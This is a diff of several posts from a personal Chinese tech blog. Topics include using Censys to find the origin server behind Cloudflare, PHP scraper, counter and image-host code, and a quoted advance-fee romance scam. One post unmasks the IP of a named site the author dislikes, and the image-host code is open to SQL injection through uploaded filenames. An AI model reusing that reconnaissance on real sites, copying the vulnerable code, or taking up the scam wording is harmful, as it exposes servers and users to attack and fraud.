proxy_next_upstream error timeout invalid_header http_500 http_503 http_404;
proxy_max_temp_file_size 128m;
}
```
果然,搞事情还是用自己熟悉的搞比较好~23333
# 事实
我果然还是图样图森破了~我想的方案其实就是[域前置](https://zh.wikipedia.org/wiki/%E5%9F%9F%E5%89%8D%E7%BD%AE)所以该计划作废QAQ

@ -0,0 +1,19 @@
---
layout: post
title: 如何“人肉”服务器?
tags: [服务器, CDN, IP]
---
没错我就是来安利Censys的<!--more-->
# 起因
当今有不少网站都喜欢在外面套CDN因为CDN既能加速又能节约服务器带宽还能保护服务器没错说的就是Cloudflare不过不止Ta一家。但是用了CDN后就不知道源站IP了这还是挺糟糕的那怎么办呢
# 方案
不错,接下来该[Censys](https://censys.io)出场了,假如我对[ESUWiki](https://esu.wiki)感觉很不爽 ~~(我花火学园服务器加域名一年也花不了$100你ESUWiki倒好一年$1000+,是在搞什么?)~~ 然后我发现Ta也套了一层Cloudflare。好那么接下来就让我们打开Censys搜一下Ta吧
以esu.wiki为关键词搜索搜到IP:`149.56.110.126` 然后实际访问一下<https://149.56.110.126>果然跳转到了ESUWiki看来就是Ta了
不过好像也不完全是这样Ta先跳到<https://weiki.esu.zone/>,然后才跳到<https://esu.wiki>这就很麻烦了……算啦反正这个服务器肯定和ESUWiki脱不了干系~
# 结果
通过Censys可以找到不少Cloudflare后面的IP但也不代表这就没救了只要设置防火墙白名单就能解决
Censys还有更多功能像端口扫描之类的都可以虽然也有其他类似的网站不过既然Censys用的顺手 ~~而且名字又好听23333~~ 所以就好好用Ta吧

@ -0,0 +1,21 @@
---
layout: post
title: 如何不使用百度App打开搜索结果
tags: [百度, 不使用]
---
在中国,还是百度用的多啊~<!--more-->
# 起因
不知何时起百度的搜索结果几乎都要下载App才能查看虽然不是很喜欢CSDN但是百度全是CSDN的内容……百度用了很多年也实在是没心用其他的搜索引擎但是百度App做的是公认的烂实在不想用。
对于这个问题,我该怎么办呢?
# 研究
我发现,在百度跳转页面的地址里,有一个参数叫做`web_url`,这记录了实际要跳转的页面,虽然用插件应该更好,但是我不会~所以我想了想打算用JS解决这个问题。
# 代码
[baidu.html](https://raw.githubusercontent.com/Mabbs/mabbs.github.io/master/baidu.html)
# 用法
打开[Baidu移动页面转换器](https://mabbs.github.io/baidu.html)然后打开百度移动版搜索的结果一般要求下载百度App的URL开头是`mbd.baidu.com`。复制这个URL粘贴到转换器里提交后就会自动跳转到真正的页面了。

@ -0,0 +1,37 @@
---
layout: post
title: 使用PHP批量下载Mediawiki站点的图片
tags: [PHP, Mediawiki, 图片]
---
又是万能的PHP!不过还是Mediawiki API的功劳<!--more-->
最近我为了备份一下[某个Wiki站](http://zh.moegirl.org/)Ta们把R18名字空间的东西删的一干二净 ~~后来才知道原来转移到了[一个Wiki上](https://www.hmoegirl.com/),真的是好久没关注了~~ 然后学习了一下Mediawiki API来下载整个WikiTa们把站点导出也给弄没了QAQ
文本很好下载但是Mediawiki的图片我不知道存在哪里API文档翻烂了也没找到把图片解析成地址的API那怎么办呢
# 解决方案
“解析”emmmm……parse不错正好有这么一个action好的那就这样搞吧
# Code
```php
<?php
set_time_limit(0);
ignore_user_abort();
$list = array("图片数组");
$arrlength=count($list);
for($x=0;$x<$arrlength;$x++) {
$tmp = json_decode(file_get_contents("https://MediaWiki的地址/api.php?action=parse&text=[[File:".$list[$x]."]]&contentmodel=wikitext&formatversion=2&format=json"),true);
$preg='/src="(.*?)"/is';
preg_match($preg,$tmp[parse][text],$match);
$tt=$tt."
".$match[1];
}
$markout = fopen("List.txt", "w") or die("Unable to open file!");
fwrite($markout, $tt);
fclose($markout);
die("Finish");
?>
```
# P.S.
如果需要获取该Wiki的所有图片可以从`api.php?action=query&list=allimages`这里获取。

@ -0,0 +1,19 @@
---
layout: post
title: 高考即将来临
tags: [高考]
---
都要高考了看什么Mediawiki API文档<!--more-->对此,我也实在是无言以对。而且[上一篇博客](/2019/05/27/wikipic.html)写的那个代码实在是太智障了,就和我现在在高考(2019.06.07)马上来临时还在智障的写着博客一样的智障,而更加智障的是,我的成绩那么差,差本来就很智障,而我现在的行为可谓是智障中的智障,再加上看了文档后写的那智障代码,我真不知道该怎么描述自己的智障了……
# [上一篇博客](/2019/05/27/wikipic.html)的智障之处
多少图片就要请求多少次简直是太智障了吧为什么不一次性POST过去然后用`preg_match_all`一解析不就完事了嘛!还非得等好几分钟一个一个解析那些地址……
# 现在的智障之处
2019年高考日的倒计时
距今还有8天 (2019年06月07日 星期五,己亥年(猪年)五月初五)
这就不用解释了吧!
# 怎么办?
~~我能怎么办?我也很绝望啊~~~
如果以后有工作的话说不定会变成工作狂吧LOL

@ -0,0 +1,227 @@
---
layout: post
title: Mayx被外国人骗了
tags: [Mayx, 外国人, 骗子]
---
简直不可思议,我要把这个锅扔给百度翻译!<!--more-->~~百度翻译表示不接这个锅23333~~
# 事件发展
这个事件发生在高考前,现在高考结束了来总结一下
有一天,有一个叫做[Lori Robinson](mailto:lori.j.robinson@usa.com)的外国人给我发了一封邮件,内容如下:
> Hello dear,
>
> Thanks so much for coming into my life the time I needed you most. I have decided to spend the rest of my energy in building a home with you, firstly, we have to accept our faith that this journey of love will not be so easy or rosy, but be assured that nothing good comes very easy and we need to be strong and be ready to stand for each other. I have decided to moving my assets to your country so I can forward for my retirement but I want to take an official leave so I can visit you in your country ,I have made some good fortune in this war zone, You know I offer contract security network for the crude oil lifting in Iraq and also I fund local miners to mine and extract gold and diamonds, at least 150 people are working in my mining concession legally given to me by the Afghan government, in return I have an NGO housing, clothing, feeding and education 100 motherless kids.
>
> I am interested to moving my generated funds, gold and diamonds and The funds is $3.5,000,000 ( Three Million, five hundred thousand US Dollars) the Gold is 1730kgs of gold and the diamonds is 25,000carats parcel of uncut diamonds,I am a woman who does things according to the guidelines of my spirit, you was chosen to be my partner and also to help me to get this box, because my mind testify that you are the right person for me and I know you will not disappoint me , I chose to use you as a partner in this deal, because I'm not allowed to send the package to all of my friends or relatives as i am still in the military outside the United States, though at the end if i send anything to the USA it will be suspicious and I be will query for the action, so I chose you because I know you are the ideal person for this deal as a foreigner who is not a US citizen.
>
> Please put away the fear or doubt, and make up your mind to help me in this matter, I promise you will not regret it been part of this matter, I do not know what else I can say to convince you and make you believe me, but I I pray that God will give you the grace to make up your mind,Once again I want you to know that there is no complication in the way, if you follow my instructions everything will go smoothly and well in the process of receiving the case, please try to keep this secret matter between you and me, to avoid making space to the enemy, because if you and I should agree on one thing with our heart with seriousness we must surely achieve success in the end.
>
> Please I want to mention once again that any disposition toward this project is intact between each of us and in no circumstances should you let the security company to know the contents of the box, remember that the box was registered as a diplomat for the package security company and that is what they believe to be in the box, so you should not let them know that the content of the box is money.
>
> Please I will like you to send your information to me so that I can pass on to security cargo company to allow them to proceed to your country for the final delivery of cash at your door step. Send your information to me urgently;
>
> Your full names: ...........
Your age: ...........
Your Address: ..............
ZIP CODE: .................
City: ......................
Country: ...................
Phone number: .........
Profession: ................
>
> Once i am done with my official assignment, I will come to meet you one on one in your country, and after that we will have to decide how to carry on with our lives, but for now, please, I appreciate us to pay more attention to this issue, you receive the delivery and keep it safe until I come over to discuss with you on how best to invest it in your country
>
> I await your immediate response
Kiss
Loris Robinson
emmmm写的不错不过看不太懂……算啦丢到百度翻译上看看吧结果大意就是她有好多好多钱、钻石、金块和矿然后想给我让我把我的地址发给她好让她邮过来。
不过这不是最重要的,重要的是她想和我结婚?!要知道我才高中刚毕业,于是我向她提出了这个疑问,得到的回答是:
> Remember that distance or color does not matter even our age but love matters a lot in life , I am a woman who does things according to the guidelines of my spirit, you was chosen to be my partner and also to help me to get this fund, because my mind testify that you are the right person for me and I know you will not disappoint me , I chose to use you as a partner in this deal, because I'm not allowed to send the package to all of my friends or relatives as i am still in the military outside the United States.
说的很有道理的样子年龄无所谓那是不是Lolicon也可以满足了反正我的信息也值不了多少钱那就给吧于是我给她发了我的收件地址。然后她给我回信
> PLEASE CONTACT THE TRADING COMPANY NOW
>
> I have contacted the courier company (Express Delivery Parcel Service ) that they are reliable and reliable.Once again I want you to know that there is no complication in the way, if you follow my instructions everything will go smoothly and well in the process of receiving the case, please try to keep this secret matter between you and me, to avoid making space to the enemy, because if you and I should agree on one thing with our heart with seriousness we must surely achieve success in the end.
>
> This delivery is going to be handle legally by the Express Delivery Parcel Service and there will be no form of risk in the process and the money will be sealed pack safely in a Diplomatic Box and the Diplomatic Box will be deliver to you in your country by a Diplomat. I have decide to compensate you with 30% of the total money once after the $3.5,000,000 ( Three Million, five hundred thousand US Dollars), the Gold is 1730kgs of gold and the diamonds is 25,000carats parcel of uncut diamonds.is delivered to you, while the rest balance shall be my investment capital in your country.
>
> Please I want to mention once again that any disposition toward this project is intact between each of us and in no circumstances should you let the security company to know the contents of the box, remember that the box was registered as a diplomat for the package security company and that is what they believe to be in the box, so you should not let them know that the content of the box is money.
>
> I have chosen this fast service so that you can receive the package within 72 hours after departure, bring the package to your home address, the bank have registered it to Express Delivery Parcel Service shipping and handed it to the company through their agent here, The company is with all your details,
Here at our military base, the government provides everything we need, our paycheck is paid to our bank account in the United States until we return home after the mission as long as I stay in Afghanistan, I can not receive or send The money you paid , I have paid for the registration of the shipment and I placed a shipment order to the shipping company for delivery of the box at your door step in your country. Please note that the diplomat does not know the contents of the box for security reasons and below is the company's contact details,
Please contact them now, tell them your name and country, that you are the right person to receive the cargo from Lory Robinson, a US Army officer.
>
> Fill in this information and send it to the security company and inform me:
> ```
> -------------------------------------------------
> My name is ............. Permanent resident ........................ I'm communicating with Lori's report Robinson, Email:
> lori.j.robinson@usa.com The company registers the shipment to the following address:
> Full names:
> Age:
> Address:
> Occupation:
> POSTCODES:
> City:
> Country:
> Phone number:
> Profession:
> --------------------------------------------------
> The delivery company's information is below:
> GLOBAL FASTWAY COURIER SERVICES / SAFETY COMPANY.
> E-MAIL: express.global@uymail.com
> E-MAIL: express.global@linuxmail.org
> Av. Del General Perón, 32
> 28008 Madrid,
> Spain
> Tel. +34 612 520330
> DIRECTOR OF PARTICIPATION
> Mr. William Anderson
> ----------------------------------------------- --- -------
> ```
> Just write to the company in the above email immediately, the company will be provided as soon as you contact them, I have begun with the agreement to meet you in your country before it expires month.
Allow me to stop so far and expect to receive your positive feedback once you contact the company. God bless you and your family.
>
> Love you and Kisses.
Love and care from,
Lori Robinson
大意就是让我把我的信息再转发给邮递公司吧,反正信息已经发过一次了,那再发一次也无所谓了吧,于是我给这个所谓的邮递公司发了我的信息,那个公司给我回复:
> EUROPE HEAD OFFICE,
GLOBAL BRAND EXPRESS COURIER SERVICES,
INTERNATIONAL AND LOCAL SHIPPING SERVICES,
Av. del General Perón, 32
28008 Madrid,
Spain,
Tel +34 612 520330,
E-mail:express.global@uymail.com
>
> HE SHIPMENT / DELIVERY SITUATION REPORT OF YOUR CONSIGNMENT IN SPAIN:
>
> ATTENTION:
ADDRESS : .....
CITY : ..............
COUNTRY .............China
TELL ................+86
>
> HE SHIPMENT / DELIVERY SITUATION REPORT OF YOUR CONSIGNMENT IN SPAIN:
>
> The above subject matter refers,
>
> The management of Global Fast Way Courier Service want to notify you that your consignment/one cargo box has been registered with our shipment company with Registration ID: AFGH55870199SJH for delivery to your country as soon as the necessary shipment logistics and requirement are obtained.
>
> we have earlier been informed about you by Your partner Loris Robinson , that she appointed you as the beneficiary to receive her shipment labelled (FAMILY TREASURE) a CONSIGNMENT/ONE CARGO BOX to your destination.
>
> OUR SERVICE TYPE DELIVERY DURATION CHARGES/FEES:
>
> Handling & Delivery Cost......570 Euro
Insurance..........................690 Euro
Total Cost........................1,260 Euro
Length of Days...........................Two Days
Order Number................................UESTNL
>
> Finally you are required to send the shipment and Insurance fee of 1,260 Eur to enable a proper facilitation and delivery of your consignment to your address in your country and note that the charges are best substantial because of the insurance cover we have undertaken in case of loss, damage or package breakage of your high priority consignment. We assume all responsibilities in case of any eventualities.
>
> YOU CAN MAKE THE PAYMENT TO US THROUGH MONEYGRAM WITH OUR ACCOUNT AUDITOR'S INFORMATION,BUT THAT WILL BE WHEN YOU SEND US YOUR SCANNED COPY OF YOUR INTERNATIONAL PASSPORT OR DRIVERS LICENSE,BEFORE WE CAN SEND YOU OUR ACCOUNT AUDITOR'S INFORMATION YOU WILL USE TO SEND THE 1,260 Euro.
> Thanks for your Co-operation.
> WE PROMISE TO GRANT THE BEST OF OUR SERVICES TO ALL OUR CUSTOMERS & YOUR SATISFACTION IS OUR REPUTATION.
>
> Yours Faithfully,
Global Fast Way Courier Services
DIRECTOR IN CHARGE
Mr William Anderson
Tel +34 612 520330
然后还非常用心的配了一张快递单:
![GEDSC AIRWAY BILL TO CHINA](/images/GEDSC%20AIRWAY%20BILL%20TO%20CHINA.jpg)
注:由于隐私原因,涉及隐私的地方已经被删除 ~~(尽管大家都知道我的手机号)~~
这个邮件当时也没细看然后就给Lori Robinson说了我已经给他们发了我的信息过了几天她给我发
> Hello my love how are you doing ? Am so sorry you did not hear from me i was on duty i have not hear from you today i hope all is well with you? I plead with you in the name of God to try your best to negotiate with the security delivery company I'm worried because I can't live without you right here. You're my everything and Last night I did not sleep am worry about you my love.
>
> The delivery of the box to you holds a lot for us in the future. Once you receive the box, I will commence on the process of tendering resignation and once it is granted, I will come to your country for the sharing of the fund and planning a better future and life together. I cannot wait to be on your arms.
>
>
> Kiss
> Lori J Robinson
不错她又强调了一遍这个邮件顺带着表现了一下关心不过我当时在学校然后我就和她说我在学校不方便收Email。
当我回到家里,那个破公司给我发了一份邮件:
> EUROPE HEAD OFFICE,
GLOBAL BRAND EXPRESS COURIER SERVICES,
INTERNATIONAL AND LOCAL SHIPPING SERVICES,
Av. del General Perón, 32
28008 Madrid,
Spain,
Tel +34 612 520330,
E-mail:express.global@uymail.com
>
> ATTENTION: ,
>
>YOU HAVE HAVE TO SEND US YOUR SCANNED COPY OF YOUR INTERNATIONAL PASSPORT OR DRIVERS LICENSE AND YOU CAN USE THIS INFORMATION AND SEND THIS MOREY TO OUR OFFICE 1,260 EURO AS SOON AS YOU MAKE THE PAYMENT SEND US THE PAYMENT DETAILS TO NABLE US PROCESS AND COMMECE YOUR SHIPMENT TO ARRIVE AT YOUR DOOR STEI IN YOUR COUNTRY WITHIN THE NEXT 3 WORKING DAYS. THE DATE AND CONFIRMED OF ARRIVAL WILL BE ISSUED TO YOU. YOU CAN MAKE THE PAYMENT TO US WITH OUR ACCOUNT AUDITOR'S INFORMATION AN STATED BELOW:
>
> BANK : BBVA.
ACC/IBAN: ES3501822659150201596186.
Swift : BBVAESMMXXX.
ACC NAME : ARCHER SAMUEL.
Address: Bulevard Ciudad de VICAR 1245.
Spain.
>
> Thanks for your Co-operation.
WE PROMISE TO GRANT THE BEST OF OUR SERVICES TO ALL OUR CUSTOMERS & YOUR SATISFACTION IS OUR REPUTATION.
>
>Yours Faithfully,
Global Fast Way Courier Services
DIRECTOR IN CHARGE
Mr William Anderson
Tel +34 612 520330
啊,要交钱的么……~~于是Mayx就立马付款,上当受骗了~~(才怪,我哪有那么多钱?)到这里一看就知道是骗子了,其实之前那个快递单仔细一看就是假的,那个条形码画的乱七八糟……
不过我还想聊下去于是我给Lori Robinson说我付不起啊于是她给我回复
> Hello sweetheart,
>
>Hello how are you doing and your school i hope you are doing good in school? I am very sorry my darling for late response to you, I had a hectic day and was very sick that was why I couldn't get back to you, but I am fine and healthy again , Actually you are really trying for the success of this delivering box to you, in fact i thank you for all the efforts you have put on this already.But one thing you must know and understand is this, the express global company does not know that the content of the box is money and on no account should you tell them that what is inside the box is money, i received massage from delivery company the asking you to pay the fee of 1260 .
>
>I beg you to do anything within your means to comply with the security company so that you will receive this box, I have no access to money here and i do not know what else to do in this matter, the successful delivery of this box to you will determine how soon we will meet.
The U.S government provides everything that we need in the military base here, our salary are being paid into our Account via Bank of American Military banking in the United States, so i only have access to my account in U.S, but that will be after our assignment here in Syria, that's why i cannot make any payment and i decided to ask for your help. I cannot access my bank account in America while in the battle field, I can only access my account when I am back to the states for security reasons, please understand me and do something OK.
>
> My dear, i know you might not be happy with the response of the security delivery company asking you for some payment. so please i am counting and depending on you for the success of the fund. I believe in your ability to handle the project amicably with no delay so please i need your cooperation here to complete the security delivery company as soon as possible. I hope to hear from you as soon as you make the payment to them.
>
> And remember this is our future and our love that we are talking about OK,
Please kindly look for means even if it means to borrow or sale something, do it to sort out the bill so that the security delivery company will deliver the box to you, once I come back I really want to see you so that we will build life together.
>
> Please you really have to try your best, you are the only hope i have now. and remember do not take this matter lighly.
>
> Once the delive the funds, to you I will come to meet you one on one in your country, and after that we will have to decide how to carry on with our lives, but for now, please, I appreciate us to pay more attention to this issue, you receive the delivery and keep it safe until I come over to discuss with you on how best to invest it in your country
>
> I await your immediate response
Kiss
Loris Robinson
看这个意思是让我砸锅卖铁也要付这个钱?我可不干,然后她回复:
> Dearest,
>
> Hello thanks you for your message you send to me,I plead with you in the name of God to try your best to negotiate with the security delivery company and pay the fee, At this very point we have no other option than to comply with the delivery company because if they open the box, it will be a very big problem for us. Sweetheart, please lets you do the needful at this very stage before the military seal on the box expires.
>
> I want you to kindly write to the security company and tell them the amount of money you have with you and plead with them that you will send the balance to them as soon as you receive the box. Tell them the amount you can pay presently no matter how little let us see their response.
>
>
> I await your immediate response
Kiss
Loris Robinson
……emmmm懒得理她了于是这个事件到此为止。
# 结果
Mayx没有任何损失怎么能叫骗呢可是她给我带来了希望又给我绝望是想当QB吗LOL

@ -0,0 +1,8 @@
---
layout: encrypt
title: Jekyll也可以加密文章啦
tags: [Jekyll, 加密]
tips: 请输入Mayx
excerpt: Jekyll赛高
---
bbb68859d4e2a8a508932f48a440c894858154b96b3d5113a4488dd2425a709caf3795dcbd4aac25d9ab0f1628b85944cd69b28aae96bdb59a0c792cd9d93bf833e126f474642909164907daef803ecac7753ea5e85000521f80b85fa787e49d8b51faaef35ee728e007253b1a97880987127df248818f295da374a7c7d30950e3ad696f5ccb8c59fe274d4c3a5a3da65c35802d5c00d11be0936498ff4130fb61853bf9f0e8f28d446d612478edf050ebf826a293cd6941dacf40aea5482b74555c1daf052903e7cf6e5d5084842a47e80f31a11d3d542d3cdb4fa9dc20c9ce27f9b2c04fd31a79e1affd503316852073336dd8f446690c08335a93f8e19777ae4441d2d1dd37acd8039fae938f7eaf1a3173c5bd21e1b507d9522b517cd3dc0709bbbad11e0a7ca1f7bc7b8c40ecc20d765227b34d46d9c00c3ce928c1c561f4147f7e4ab975c9a8dc6bb1e10dea990b9a88abecf32046c5d52ea9f8025ce657d91ef35670c516df3d8e1c4f34fa6c4c90a3bb067981d380b3af65bf3273be699ff3831c62ce85de36f03b51f5e767

@ -0,0 +1,130 @@
---
layout: post
title: 如何自己写一个博客计数器
tags: [计数器]
---
都怪LeanCloud我得自己写计数器了<!--more-->
# 事件起因
我之前用的博客计数器是用的LeanCloud作为后台制作的计数器然后嘛……代码是抄的。结果最近[LeanCloud凉了](https://blog.avoscloud.com/6841/),这让我无法忍受,之前的代码我也看不懂,改也不会改……
那好吧,我只好自己写计数器了。
于是我花了很长时间,自己写了一个计数器,另外还得把原来的计数器信息转移过来……
# 使用方法
## 前端部分
主页显示点击数:
```html
{% raw %}Hits: <span id="{{ post.url }}" class="visitors-index" >Loading...</span>{% endraw %}
```
内页显示点击数:
```html
{% raw %} Hits: <span id="{{ page.url }}" class="visitors" >Loading...</span>{% endraw %}
```
JS代码需要Jquery
```js
var auxiliaryHost = "你的域名";
function showHitS(hits){
$.get(auxiliaryHost+"/counter.php?action=show&id="+hits.id,function(data){
hits.innerHTML=Number(data);
});
}
function showHitCount() {
var visitors=$(".visitors-index");
for(var i = 0; i < visitors.length; i++){
showHitS(visitors[i]);
}
}
function addCount() {
var visitors=$(".visitors");
$.get(auxiliaryHost+"/counter.php?action=add&id="+visitors[0].id,function(data){
visitors[0].innerHTML=Number(data);
});
}
if ($('.visitors').length == 1) {
addCount();
} else if ($('.visitors-index').length > 0){
showHitCount();
}
```
2021.03.23更新修复了一些BUG并且支持异步了
## 后端部分
MySQL建表
```sql
CREATE TABLE `counter` (
`url` char(50) NOT NULL,
`counter` int(11) NOT NULL,
UNIQUE KEY `url` (`url`)
);
```
PHP
```php
<?php
header('Access-Control-Allow-Origin: *');
$con=mysqli_connect("MySQL地址","用户名","密码","数据库名");
if (mysqli_connect_errno($con))
{
die("连接 MySQL 失败: " . mysqli_connect_error());
}
$hid = md5($_GET['id']);
if ( $_GET['action'] == "show" ) {
$sql = "SELECT * FROM `counter` WHERE `url` = '".$hid."' ";
$result = $con->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
echo $row["counter"];
}
} else {
$sql = "INSERT INTO `counter` (`url`, `counter`)
VALUES ('".$hid."', '0')";
if ($con->query($sql) === TRUE) {
echo "0";
}else{
echo "Error";
}
}
} elseif ( $_GET['action'] == "add" ) {
$sql = "SELECT * FROM `counter` WHERE `url` = '".$hid."' ";
$result = $con->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
$sql = "UPDATE `counter` SET `counter` = '".($row["counter"]+1)."' WHERE `url` = '".$hid."'";
$con->query($sql);
echo ($row["counter"]+1);
}
} else {
$sql = "INSERT INTO `counter` (`url`, `counter`)
VALUES ('".$hid."', '1')";
if ($con->query($sql) === TRUE) {
echo "1";
}else{
echo "Error";
}
}
} else {
header("HTTP/1.1 301 Moved Permanently");
header("Location: https://mabbs.github.io");
}
mysqli_close($con);
```
# 结果
看来还是自己写代码放心至少服务是自己维护的不像垃圾LeanCloud坏掉之后我就无能为力了……
不过说实话我根本不会JS虽然我之前说我学这个编写之中遇到了不少问题所以在此感谢各位帮助我的各位大佬们让我最终完成了这个计数器。

@ -0,0 +1,100 @@
---
layout: post
title: 如何利用MySQL数据库制作一个图站
tags: [MySQL, 数据库, 图站, PHP]
---
最近白嫖了一个500GB的数据库想想怎么利用一下<!--more-->
# Talk is cheap,show me the code
数据库建表:
```sql
CREATE TABLE `FileUP` (
`ID` int(11) NOT NULL AUTO_INCREMENT,
`Name` text NOT NULL,
`File` longblob NOT NULL,
`Size` int(11) NOT NULL,
PRIMARY KEY (`ID`)
) ENGINE=InnoDB DEFAULT CHARSET=gb2312;
```
PHP代码
```php
<?php
$con=mysqli_connect("数据库地址","用户名","密码","数据库名");
if (mysqli_connect_errno($con))
{
die("连接 MySQL 失败: " . mysqli_connect_error());
}
if ( $_GET[ID] != '' ) {
header('Access-Control-Allow-Origin: *');
$sql = "SELECT * FROM `FileUP` WHERE `ID` = '".addslashes($_GET[ID])."' ";
$result = $con->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()){
Header ( "Content-type: application/octet-stream" );
Header ( "Accept-Ranges: bytes" );
Header ( "Accept-Length: " . $row["Size"] );
Header ( "Content-Disposition: attachment; filename=" . $row["Name"] );
echo $row["File"];
}
}
else {
header('HTTP/1.1 404 NOT FOUND');
}
} else {
echo '<title>Mayx图床</title>
<h1>Mayx图床</h1><hr>
请选择需要上传的文件
<form enctype="multipart/form-data" method="post" action="">
<input type="file" name="File" />
<input type="submit" name="submit" value="submit" />
</form>
<br />';
if ( $_SERVER['REQUEST_METHOD'] == "POST" ) {
$error = $_FILES['File']['error'];
$tmp_name = $_FILES['File']['tmp_name'];
$size = $_FILES['File']['size'];
$name = $_FILES['File']['name'];
print("\n");
if ($error == UPLOAD_ERR_OK && $size > 0) {
$fp = fopen($tmp_name, 'r');
$content = fread($fp, $size);
fclose($fp);
$content = addslashes($content);
$sql = "INSERT INTO `FileUP` (`Name`, `File`, `Size`)
VALUES ('".$name."', '".$content."', '".$size."');";
$con->query($sql);
$sql = "select @@identity;";
$result = $con->query($sql);
while($row = $result->fetch_assoc()) {
echo '上传完成,文件下载地址:<a href="//'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']."?ID=".$row['@@identity'].'" >'.$_SERVER['HTTP_X_FORWARDED_PROTO'].'://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']."?ID=".$row['@@identity'].'</a>';
}
} else {
echo "文件上传错误!";
}
}
echo '<hr />
<center><a href="https://mabbs.github.io/">By Mayx</a></center>';
}
mysqli_close($con);
```
# 缺点
~~MySQL保存文件有限制好像只能存16MB左右😓~~改max_allowed_packet就可以了
另外就是断点续传的问题,这个问题我回头再想一想吧。
# 演示随时GG
<https://mayx.leanapp.cn/up.php>
# 下一步改进的打算
~~想搞成切片上传,这样就没有文件大小上传的限制了。
不过这个好像得前端支持,先放个链接在这里吧:<https://github.com/fex-team/webuploader>~~
不打算改进了……

@ -0,0 +1,39 @@
---
layout: post
title: 重建MaBBS的计划
tags: [MaBBS, 重构]
---
这就是所谓的只擅长建立计划吧(笑)<!--more-->
# 关于计划
重构计划:[Mabbs重构计划](https://github.com/users/Mabbs/projects/1)
需要重构的项目:[Mabbs](https://github.com/Mabbs/Mabbs)
## 关于这个项目
这个项目是我初中的时候就开始写的当时我在网络上看到了一种很有意思的论坛叫做Telnet BBS貌似以前有名的高校都搞这个东西。那时刚好在用一个极其破烂的手机Mem:256MiB,CPU:Spreadtrum SP8810,Rom:512MiB在那里学着写Shell[关于这一段历史](/2019/02/01/history.html#linux-shell时期)。看完Telnet BBS的介绍之后我膨胀了我觉得以我当时的水平肯定能写出来于是我从此走上了填这个万年巨坑的不归路。
当时我不但膨胀而且傻把一个有着很明显的注入漏洞的那么一个BBS写出来之后居然还发到当时Bilibili开的一个类似贴吧一样的东西里现在已经没了那时候每个路由器还是动态公开IP的于是我就那么放在了网上丝毫不担心有人会拿它当跳板机是我想多了LOL
在编写之中我了解到了CGI于是它就可以既能用网页版又能用命令行版。
到现在为止这个BBS仍然有很严重的注入漏洞……而且小时候写代码也没什么规范基本上是边学边写于是过了一个高三没写那个代码我是一个字也看不懂了23333
# 现在重构的打算
本来是想写在那个Project里的但是后来想了想还是写成博客比较好那个东西似乎不太适合我就是想水一篇啦
## 1. FastCGI
我很早以前就想把这个破烂CGI改成FastCGI但是网上找了半天基本上也没看懂什么。不过后来用上了服务器学了Nginx才明白原来所谓的FastCGI就相当于是自己又写了一个服务器软件只是这个比较简单只是它不再是执行后就结束的程序而是在后台挂着继续等待下一个请求。而Nginx起到的作用就是提高这个自制服务器的安全性另外可以提前输出保证速度其实说白了就是反向代理。这次看看重构能不能加一个这个功能。
## 2. 前后端分离
最近好像挺流行这个的就是要用Javascript不过这个我现在也学的差不多了不像以前整个BBS里没有一句Javascript。
这样干还有一个好处就是我可以不限定客户端假如我以后学了其他语言就可以利用统一的API调用了
## 3.POSIX
这可是我写的东西的一大优点我写的BBS就算是只有一个Busybox也能运行保证了在任何一台设备上都能完美运行而且一句sed、grep、awk都没有用就连这三件套没有都能用哦
## 4. Hash&Session
之前我写的BBS全部都是明文保存密码的不过现在我学了那么多关于网络安全的知识至少Hash还是要有的。不过我不打算用其他工具我要自己写一套之前确实是试了试Hash不过感觉好像又不太对……回头再仔细查一下吧。
之前BBS登录时密码都是放在Cookie里的现在想想那真是太蠢了本来这个BBS就全都是XSS漏洞再明文放密码那不就是想要谁的密码都可以吗虽然开了HTTPONLY不过为了提高安全性我搞了一个类似于Session的东西但是我不太会写随机数所以感觉这个Session似乎更不安全了……
……
# 真正的问题
先想办法下决心写第一句话吧!

@ -0,0 +1,37 @@
---
layout: post
title: 制作分布式加密邮件系统的计划
tags: [分布式, 加密, 邮件, 计划]
---
一个计划还没开始,又开始另一个计划了……<!--more-->
# 计划原因
之前用了Telegram聊天里面有一个私密通信的功能。听说这个功能可以让服务端没法知道使用者发送的信息。不过Telegram在国内使用限制比较多所以我打算用HTML+Javascript+PHP+MySQL写一套自己的私密通信系统。
但是As We All Know某些国家有网络审查提供这种服务的肯定会被审查的。既然我们要做这个东西就不能让它不稳定。所以我想把这个项目搞成分布式的那种确保通信可以成功。来自Mastodon的思路
## Q&A
1. 为什么使用PHP
之所以用PHP作为后端语言的原因呢…… ~~当然因为PHP是世界上最好的语言被打死~~ 因为PHP的程序好搭建而且很多虚拟主机商都用的是PHP这样即使小白也能搭建就能让分布式节点更多了。 ~~明明主要原因是我只会PHP 23333~~
2. 为什么我要做成邮件系统而不是聊天系统呢?
因为聊天就要用Websocket或者是AJAX之类的但是我不会……我只能把信息都存在服务器里有人访问再显示出来……
3. 已经有PGP了为什么还要重复造轮子呢
因为PGP是软件小白用起来不太方便这个是网站可能相对更简单一些。 ~~(重复造轮子能有什么理由)~~
# 项目技术原理
1. 所谓的私密通信主要用的就是非对称加密比如说RSA什么的。所以这个项目同样如此也使用RSA作为主要加密算法。
2. RSA虽然很不错但是似乎加密速度比较慢我看HTTPS上介绍的是这样所以内容用AES加密用随机数做密码一方用公钥去加密这个密码另一方用私钥解密获得密码然后再利用这个密码进行对称加密传输和HTTPS差不多
3. 如果上述操作都是服务端进行那这些就都没什么意义了所以我们要在客户端进行。像Javascript进行加密完全没有问题所以除了传输其他加密都是在浏览器上进行。
# 项目细节
为了方便通信公钥是要留在服务器上的所以要搞一个用户系统存储用户的公钥。在注册的过程中公私钥生成都是在客户端进行确保服务端得不到用户的私钥注册的过程中要将用户名和公钥上传至服务器保存。这就是为什么要用到MySQL。
登录时,先输入用户名,服务器使用用户名查找到对应的公钥,然后生成一个随机数,用公钥加密,发送给客户端,客户端用私钥解密,获得随机数,返回给服务器进行登录。
私钥登录后要持续保存这时肯定不能用Cookie我们可以用localStorage然后客户端一定要做好防XSS不然一切都没有了。
在发送的时候我们可以搞一个类似Mastodon的用户名两个@实在是太蠢了就和E-mail一样就搞成user@example.com的形式吧
在发送时客户端先检查对方服务器能否连接,如不能则测试通过服务器连接,如果服务器连接失败再使用其他节点连接(服务器内置),如果还是不行,用户可以自行输入节点,还是不行,投递失败。
